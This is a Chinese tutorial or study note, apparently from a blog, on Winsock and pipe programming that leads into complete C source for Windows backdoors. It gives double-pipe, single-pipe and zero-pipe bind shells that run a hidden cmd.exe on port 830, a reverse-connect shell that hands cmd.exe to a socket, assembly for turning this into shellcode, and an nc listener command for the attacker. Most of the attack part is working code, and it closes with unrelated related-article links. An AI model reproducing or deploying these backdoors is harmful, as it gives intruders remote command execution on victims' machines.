第三章、后门的编写和 ShellCode 的提取

(一)IP 和 Socket 编程初步

NOTES:

1.Windows 下网络通信编程的几种方式

第一种是基于 NetBIOS 的网络编程,这种方法在小型局域网环境下的实时通信有很高的效率;

第二种是基于 Winsock 的网络编程;这种方法使用一套简单的 Windows API 函数来实现应用层上的编程;

第三种是直接网络编程;比如 Winpcap、libnet 等网络数据包构造技术可以完成链路层或网络层上的网络

编程;

第四种是基于物理设备的网络编程,即 MAC 层编程接口

2.IPv6 采用 128 位数字,所以地址的范围可以看作是无限的;

3.使用 NAT(Network Address Translation)——网络地址转换,允许内部网络上的多台 PC(使用内部地址段,如 10.0.x.x、192.168.x.x、172.x.x.x)共享单个、全局路由的 IPv4 地址

4.对每一个通信,除了 IP 地址外,还用一个标识符 Socket 来标明每个通信程序(进程)

5.Socket 其实就是一个整数,它标识了计算机上不同的通信端点。程序在通信前首先建立一个套接字,以后对设置 IP、端口和传输数据,都通过此套接字来进行

6.端口:TCP/IP 协议中规定的端口,范围从 0 到 65535。它可以标志某种服务,比如网页服务器一般是 80 端

口,FTP 服务器一般是 21 端口;在客户端连接中,也需要一个端口来通信,一般是比较高的动态端口号

1.使用 Socket 在两台计算机上通信的流程:

服务端首先启动,建立一个套接字 Socket,并对相应的IP 和端口进行绑定、监听;客户端也建立一个套接字,和服务端不同,它直接连接服务端监听的端口。双方建立连接后,服务端和客户端就可以互相传输数据

(1) WSAStartup:初始化 Windows Socket Dll

(2) socket:建立 Socket,返回以后会用到的 Socket 值。

(3) bind:把套接字和机器上一定的端口关联起来。

(4) listen:服务端监听一个端口,直到 accept()。在发生错误时返回-1。

(5) connect:客户端连接服务端监听的端口。

(6) accept:服务端接受客户端的连接请求,并返回一个新的套接字,以后服务端的数据传输就使用这个新的套接字。如果有错误,返回-1。

(7) send:用于流式套接字或数据报套接字的通讯,数据传输

(8) sendto,recvfrom功能和 send、recv 类似,不过是用于无连接数据报套接字的传输

(8) closesocket(int sockfd):关闭套接字。

2.实现服务端监听某个端口,如果有客户端连接,就向它发一字符串,客户端收到后,在屏幕上打出来。

A.服务端的程序:

(1)流程:

socket()→bind()→listen→accept()→recv()/send()→closesocket()

(2)流程概括:

先是初始化 Windows Socket Dll: WSAStartup(MAKEWORD(2,2),&ws);

然后建立 Socket: sockfd = socket(AF_INET, SOCK_STREAM, 0)

再 bind 本机的 MYPORT 端口:

my_addr.sin_family = AF_INET; /* 协议类型是 INET /

my_addr.sin_port = htons(MYPORT); /
绑定 MYPORT 端口 /

my_addr.sin_addr.s_addr = INADDR_ANY; /
本机 IP */

bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))

接下来监听端口: listen(sockfd, BACKLOG)

如果有客户端的连接请求,接收它: new_fd = accept(sockfd, (struct sockaddr *)&their_addr,

&sin_size)

new_fd = accept(sockfd, (struct sockaddr *)&their_addr,

&sin_size)

最后发送 ww0830 字符串过去: send(new_fd, "ww0830\n", 14, 0)

收尾工作,关闭 socket: closesocket(sockfd); closesocket(new_fd); ”

(3)代码:

#include <stdio.h>

#include <winsock.h>

#pragma comment(lib,"Ws2_32")

#define MYPORT 830 /定义用户连接端口/

#define BACKLOG 10 /多少等待连接控制/

int main()

{

int sockfd, new_fd; /定义套接字/

struct sockaddr_in my_addr; /本地地址信息 /

struct sockaddr_in their_addr; /
连接者地址信息
/

int sin_size;

WSADATA ws;

WSAStartup(MAKEWORD(2,2),&ws); //初始化 Windows Socket Dll

//建立 socket

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)

{

//如果建立 socket 失败,退出程序

printf("socket error\n");

exit(1);

}

//bind 本机的 MYPORT 端口

my_addr.sin_family = AF_INET; /* 协议类型是 INET /

my_addr.sin_port = htons(MYPORT); /
绑定 MYPORT 端口/

my_addr.sin_addr.s_addr = INADDR_ANY; /
本机 IP*/

if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))== -1)

{

//bind 失败,退出程序

printf("bind error\n");

closesocket(sockfd);

exit(1);

}

//listen,监听端口

if (listen(sockfd, BACKLOG) == -1)

{

//listen 失败,退出程序

printf("listen error\n");

closesocket(sockfd);

exit(1);

}

printf("listen...");

//等待客户端连接

sin_size = sizeof(struct sockaddr_in);

if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)

{

printf("accept error\n");

closesocket(sockfd);

exit(1);

}

printf("\naccept!\n");

//有连接,发送 ww0830 字符串过去

if (send(new_fd, "ww0830\n", 14, 0) == -1)

{

printf("send error");

closesocket(sockfd);

closesocket(new_fd);

exit(1);

}

printf("send ok!\n");

//成功,关闭套接字

closesocket(sockfd);

closesocket(new_fd);

return 0;

}

B.客户端程序

(1)流程:

socket()→connect()→send()/recv()→closesocket()

(2)客户端程序的流程概括:

首先是初始化 Windows Socket Dll: WSAStartup(MAKEWORD(2,2),&ws);

然后建立 Socket: sockfd = socket(AF_INET, SOCK_STREAM, 0)

接着连接服务器方:

their_addr.sin_family = AF_INET; /* 协议类型是 INET /

their_addr.sin_port = htons(PORT); /
连接对方 PORT 端口 /

their_addr.sin_addr.s_addr = inet_addr(argv[1]); /
连接对方的 IP */

connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr))

连接成功就接收数据: recv(sockfd, buf, MAXDATASIZE, 0)

最后把收到的数据打印出来并关闭套接字:

printf("Received: %s",buf); closesocket(sockfd);

(3)代码:

#include <stdio.h>

#include <stdio.h>

#include <winsock.h>

#pragma comment(lib,"Ws2_32")

#define PORT 830 /* 客户机连接远程主机的端口 /

#define MAXDATASIZE 100 /
每次可以接收的最大字节 */

int main(int argc, char argv[])

{

int sockfd, numbytes;

char buf[MAXDATASIZE];

struct sockaddr_in their_addr; /
对方的地址端口信息 /

if (argc != 2)

{

//需要有服务端 ip 参数

fprintf(stderr,"usage: client hostname\n");

exit(1);

}

WSADATA ws;

WSAStartup(MAKEWORD(2,2),&ws); //初始化 Windows Socket Dll

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)

{

//如果建立 socket 失败,退出程序

printf("socket error\n");

exit(1);

}

//连接对方

their_addr.sin_family = AF_INET; /
协议类型是 INET /

their_addr.sin_port = htons(PORT); /
连接对方 PORT 端口 /

their_addr.sin_addr.s_addr = inet_addr(argv[1]); /
连接对方的 IP */

if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1)

{

//如果连接失败,退出程序

printf("connet error\n");

closesocket(sockfd);

exit(1);

}

//接收数据,并打印出来

if ((numbytes=recv(sockfd, buf, MAXDATASIZE, 0)) == -1)

{

//接收数据失败,退出程序

printf("recv error\n");

closesocket(sockfd);

exit(1);

}

buf[numbytes] = '\0';

printf("Received: %s",buf);

closesocket(sockfd);

return 0;

}

(二)进程间通信及管道

1.为客户开创一个 cmd.exe。可以用 CreateProcess 来创建这个子进程

创建一个控制台窗口,而且不消失

#include<windows.h>
int main()
{
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
CreateProcess(NULL, "cmd.exe /k",NULL, NULL,1,0,NULL, NULL, &si, &ProcessInformation);//‘/k’使控制台执行并保留
return 0;
}

2.管道通信的整体流程示意图:

NOTES:

1.进程间通信(IPC)机制是指同一台计算机的不同进程之间或网络上不同计算机进程之间的通信。Windows

下的方法包括邮槽(Mailslot)、管道(Pipes)、事件(Events)、文件映射(FileMapping)等

2.管道(Pipe)是一种简单的进程间通信(IPC)机制,共享一段内存。

3.

(1)命名管道可以在同台机器的不同进程间以及不同机器上的不同进程之间进行双向通信。

(2)匿名管道,父子进程之间或者一个进程的两个子进程之间进行通信,单向,是内存中的一个独立的临时存储区,它对数据采用先进先出的方式管理,并严格按顺序操作,不能被搜索

4.管道函数

CreatePipe()函数:创建匿名管道,并返回管道的读句柄和写句柄

5.管道操作标示符是 HANDLE

6.Pipe:

(1)Pipe的共用。Windows中2 个进程如果没有“父子“关系,而且子进程又没有继承父进程资源时,让子进程由父进程启动,且在启动子进程时必须设置好继承参数即可

(2)Pipe的建立。设置好Pipe的共用后,父进程通过调用API函数CreatePipe来创建Pipe,之后再将Pipe设置成可继承的。其中,CreatePipe函数用来创建一个匿名管道,返回值为Long,非 0 表示成功,0 表示失败

(3)pipe 的写入:要将数据写入 Pipe,调用 WriteFile 函数即可;其中,WriteFile 函数将数据写入一个文件。返回值为 Long,TRUE(非 0)表示成功,否则返回 0

(4)Pipe 的读取:分两步:先调用 PeekNamedPipe 函数,用来确定 Pipe 中是否有数据,以避免数据接收

方长时间等待或处于永远等待状态;再调用 ReadFile 函数将 Pipe 中的数据读出。其中,PeekNamedPipe函数不会把 Pipe 中的数据读走,若 Pipe 中没有数据,它会正常返回,不会长时间等待,但 ReadFile 函数会长时间等待

(三)后门总体思路( Tlnet 后门程序为例)

1.ShellCode 的功能

分为主进程和子进程,主进程的功能是网络连接——传输命令和结果;

子进程的功能是执行 cmd.exe 命令

2.

(1)

(2)相互通信必须要建两个匿名管道(匿名管道是单向)

(3)攻击机发的命令通过 Socket 传给目标机的父进程

目标机的父进程又通过一个匿名管道传给子进程,这里的子进程应该是 cmd.exe,cmd.exe

执行命令后,把结果通过另一个匿名管道返给父进程

父进程最后再通过 Socket 返回给攻击机

a.只用一个匿名管道,有命令数据来,主进程以数据为参数马上新建一个 cmd.exe 进程执行,执行的结果由匿名管道返回

b.用两个匿名管道,只开一个 cmd.exe 进程。有命令来时,通过一个匿名管道传给 cmd.exe,执行结果通过另一个匿名管道返回给主进程

(四)双管道后门的实现

1.思路

初始化 Socket,然后 Bind 端口,再监听 Listen,直到有客户请求, Accept 请求

2.源码

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;
//初始化 wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立 Socket
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//监听本机 830 端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求 830 端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
//建立匿名管道 1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
//建立匿名管道 2
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
/*
解释一下,这段代码创建了一个 cmd.exe,把 cmd.exe 的标准输出和标准错误输出用第一个管道的写句柄替换;cmd.exe 的标准输入用第二个管道的读句柄替换。
如下:
(远程主机)←输入←管道 1 输出←管道 1 输入←输出(cmd.exe 子进程)
(远程主机)→输出→管道 2 输入→管道 2 输出→输入(cmd.exe 子进程)
*/
unsigned long lBytesRead;
while(1)
{
//检查管道 1,即 CMD 进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道 1 有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
//将命令写入管道 2,即传给 cmd 进程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
return 0;
}

NOTES:

1.设置 CMD 子进程启动参数‘si’,替换进程的输出句柄为管道 1 的写句柄,输入句柄为管道 2 的读句柄:

si.hStdInput = hReadPipe2;

si.hStdOutput = si.hStdError = hWritePipe1;

2.开启 CMD 命令

CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation)

(五)单管道后门的实现

1.建一个管道,然后将 CMD 子进程的输出句柄用管道的写句柄替换

CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

si.hStdOutput = si.hStdError = hWritePipe1;

2.源码

#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;
//初始化 wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立 socket
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//监听本机 830 端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求 830 端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES pipeattr1;
HANDLE hReadPipe1,hWritePipe1;
//建立匿名管道 1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
//si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
PROCESS_INFORMATION ProcessInformation;
char cmdLine[200];
unsigned long lBytesRead;
/*以命令为参数运行 cmd.exe
(远程主机→传送命令-→以命令为参数建立 cmd.exe 子进程运行
(远程主机)←输入→管道 1 输出→管道 1 输入→输出(cmd.exe 子进程)
*/
while(1)
{
//检查管道 1,即 cmd 进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道 1 有输出,读出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否则,接收远程客户机的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
strcpy(cmdLine, "cmd.exe /c"); //cd\ & dir
strncat(cmdLine, Buff, lBytesRead); //buff的lBytesRead长的字符串copy给cmdline
//以命令为参数,合成后启动 CMD 执行
CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
}
}
return 0;
}

NOTES:

1.cmd /?:查询cmd命令助手;DOS 下,‘&’可以把几个命令合起来

(五)生成shellcode

1.转换成汇编

bind语句实现:

struct sockaddr_in server;

server.sin_family = AF_INET;

server.sin_port = htons(830);

server.sin_addr.s_addr=ADDR_ANY;

ret=bind(listenFD,(sockaddr *)&server,sizeof(server))

(1)sizeof(server):语言执行这句时,首先入栈的值

(2)&server:是 sockaddr 结构的地址

在 sockaddr 结构中,包括了绑定的协议、IP、端口号等。和在堆栈中构造字符串一样,我们也在栈中构造出 sockaddr 的结构,那么 esp 就是 sockaddr 结构的地址

内存窗口中输入 server查看 server 的值

esp 就正好是结构的地址

socket:上面执行了 socket( )后,我们把 socket 的值保存在了 ebx 中,所以将 ebx 压入

结果如下:

;bind(listenFD,(sockaddr *)&server,sizeof(server));

xor edi,edi //先构造 server

push edi

push edi

mov eax,0x3E030002

push eax ; port 830 AF_INET

mov esi, esp //把 server 地址赋给 esi

push 0x10 ; length

push esi ; &server

push ebx ; socket

call [ebp + 36] ; bind

2.验证 ShellCode 功能的方法

方法一:在 main 中添上( (void(*)(void)) &ShellCode)():执行 ShellCode 数组里的那些数据

方法二,在 main 里面直接嵌入汇编语句 lea eax,ShellCode, call eax :先把 ShellCode 的地址给 eax,然后 call eax 跳到 ShellCode 里面去执行

__asm

{

lea eax, ShellCode

call eax

}

(六)零管道后门--不用新建管道

1.用 Socket 句柄直接替代 CMD 进程的输入和输出句柄

si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;

Tips:要用 WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, 0, 0) 来建立 Socket 才能像这样替换( WSASocket()创建的 Socket 默认是非重叠套接字,这样才可以直接将 cmd.exe 的 stdin、stdout、stderr 转向到套接字。而 socket()函数创建的 Socket 是重叠套接字)

2.源码:

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;
//初始化 wsa
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用 WSASocket
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//监听本机 830 端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求 830 端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.wShowWindow = SW_SHOWNORMAL;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}

Tips:想预先处理一下用户的命令,就需要用双管道或单管道的方法

3.正向连接和反向连接

反向连接是把攻击机作为服务端,监听一个端口;而目标机上运行的 ShellCode 的功能是主动连接攻击机监听的端口
![](https://images2018.cnblogs.com/blog/1454033/201808/1454033-20180814232251127-1189042809.png)

Tips:

(1)ShellCode 的功能是作为客户端,主动连接我们攻击机的一个端口.

(2)剩下的传输命令、执行命令,返回结果和前面类似。

(3)攻击机上用NC 开端口程序,nc -l -p port

(六)反连后门 ShellCode 的编写

1.ShellCode 是客户端,流程:

socket()→connet(攻击机 ip,端口)→send/recv()→closesocket()

实现:

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET s;
int ret;
//初始化 wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立 Socket
s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//连接对方 830 端口
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
//反向连接!
connect(s,(struct sockaddr *)&server,sizeof(server) );
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
//CMD 的输入输出句柄,都用 Socket 来替换
si.hStdInput = si.hStdOutput = si.hStdError = (void *)s;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}

NOTES:

1.Ipv4 最大的缺点就是能分配的 IP 资源不足。除此之外,Ipv4 还存在一些安全上的缺陷,比如不鉴别源端的合法性等

2. 单管道的实现,是一收到字符就执行,Telnet 的设计目的是最大限度的减少时延。所以它遵循的是用户刚输入字符就马上传送。这样dir 命令就被分为 d、i、r 分别发送了。、

三、后门的编写和 ShellCode 的提取的更多相关文章

  1. Powershell极速教程-如何在三分钟内编写项目编译脚本

    分析及思路 来看一下项目目录结构 炒鸡正常的三板斧src+docs+tests.咦,怎么会多出一个build的文件夹呢,这就是我们今天要研究的目录.今天我会带着大家在五分钟之内编写一个极简的编译脚本. ...

  2. FreeBSD上编写x86 Shellcode初学者指南

    FreeBSD上编写x86 Shellcode初学者指南 来源 https://www.4hou.com/binary/14375.html 介绍 本教程的目的是帮助你熟悉如何在FreeBSD操作系统 ...

  3. go-zero docker-compose 搭建课件服务(三):编写courseware api服务

    0.转载 go-zero docker-compose 搭建课件服务(三):编写courseware api服务 0.1源码地址 https://github.com/liuyuede123/go-z ...

  4. docker 部署 flask(三)高级编写及生成镜像,安装requirements.txt

    简介: 上一篇,我写了如何使用别人的docker基础镜像,生成我们的docker镜像. 也就最基本的flask,没有别的库(包)支持.连数据库支持都没有. 也就让大家了解一下怎么生成镜像而已. 本篇介 ...

  5. Jenkins插件开发(三)-- 插件编写

    在上一篇blog 中我们介绍了如何创建我们第一个jenkins插件,在这一篇blog继续介绍在开发我们的插件过程中需要注意的一些问题. 扩展点选择 Jenkings插件是基于扩展点来实现的,比如基于B ...

  6. 如何编写一个shellcode

    ShellCode的编写就是将函数或变量在内存中的间接地址改为函数或变量在内存中的直接地址,直接调用! 以MessageBox函数为例进行讲解如下 新建shellcode.cpp: 编写代码如下: 运 ...

  7. ballerina 学习 三十二 编写安全的程序

      ballerina编译器已经集成了部分安全检测,在编译时可以帮助我们生成错误提示,同时ballerina 标准库 已经对于常见漏洞高发的地方做了很好的处理,当我们编写了有安全隐患的代码,编译器就已 ...

  8. 从 C#编写的Exe里面提取图标和图片

    记得原来是可以通过PE直接提取Exe里面的图片的,不知道为什么不能用了,下面是通过加载程序集反射出Resources 里面的图片或者图标: 提取结果直接存放到编译目录了,不知道向左向右,自己又回到Wi ...

  9. Docker解析及轻量级PaaS平台演练(三)--Dockerfile编写

    在本篇中将介绍Dockerfile的编写 除了通过修改Image,创建Container,在打包成Image来创建我们需要的Image之外 我们还可以编写Dockerfile文件,通过build来创建 ...

随机推荐

  1. SQL Join 与 In的效率

    今天在优化朋友的一个系统, 主要他们前期是叫人外包写的, 越来越慢, 导出订单明细时, 基本都是TimeOut, 我查看到这里面是这样写: select * from Orders where ID ...

  2. AngelToken——富有价值的区块链服务平台

    关于我们 Angel Token,简称ANG,是基于ETH代币的去中心化数字交易平台. 行业现状 截至2017年12月,全球数字货币总市值已经触及6000亿美元.而2016年12月31日,这个数字才仅 ...

  3. hdu1256

    画横线总是一个字符粗,竖线随着总高度每增长6而增加1个字符宽.当总高度从5增加到6时,其竖线宽度从1增长到2.下圈高度不小于上圈高度,但应尽量接近上圈高度,且下圈的内径呈正方形.每画一个"8 ...

  4. MySQL常用的锁机制 ----------顾名思义

    悲观锁与乐观锁: 悲观锁:顾名思义,就是很悲观,每次去拿数据的时候都认为别人会修改,所以每次在拿数据的时候都会上锁,这样别人想拿这个数据就会block直到它拿到锁.传统的关系型数据库里边就用到了很多这 ...

  5. 执行git命令时出现fatal: 'origin' does not appear to be a git repository错误

    在执行git pull origin master时出现: fatal: 'origin' does not appear to be a git repository fatal: Could no ...

  6. Python 字典删除元素clear、pop、popitem

    同其它python内建数据类型一样,字典dict也是有一些实用的操作方法.这里我们要说的是字典删除方法:clear().pop()和popitem(),这三种方法的作用不同,操作方法及返回值都不相同. ...

  7. 解决安装虚拟环境出现的问题(OSError: Command /home/python/.virtua...ngo3_web/bin/python3 - setuptools pkg_resources pip wheel failed with error code 2)

    python3的报错解决: OSError: Command /home/python/.virtua...ngo3_web/bin/python3 - setuptools pkg_resource ...

  8. alibaba/druid 下的 密码加密

    使用ConfigFilter cliangch edited this page on 3 Feb · 12 revisions ConfigFilter的作用包括: 从配置文件中读取配置 从远程ht ...

  9. undo系统参数详解

    查看与undo相关的系统参数 1.undo_management 有两个参数值:auto.manual(默认) manual:系统启动后使用rollback segment存储undo信息: auto ...

  10. IP通信基础课堂笔记----关于数链层

    课前回顾 IOS从上到下分别有:应用层,传输层,网络层,数链层,物理层. IP是网络层的地址,MAC是数链层的地址,IP必须通过ARP才能转换成MAC地址. 课堂内容 1.如何在数链层实现发送端数据无 ...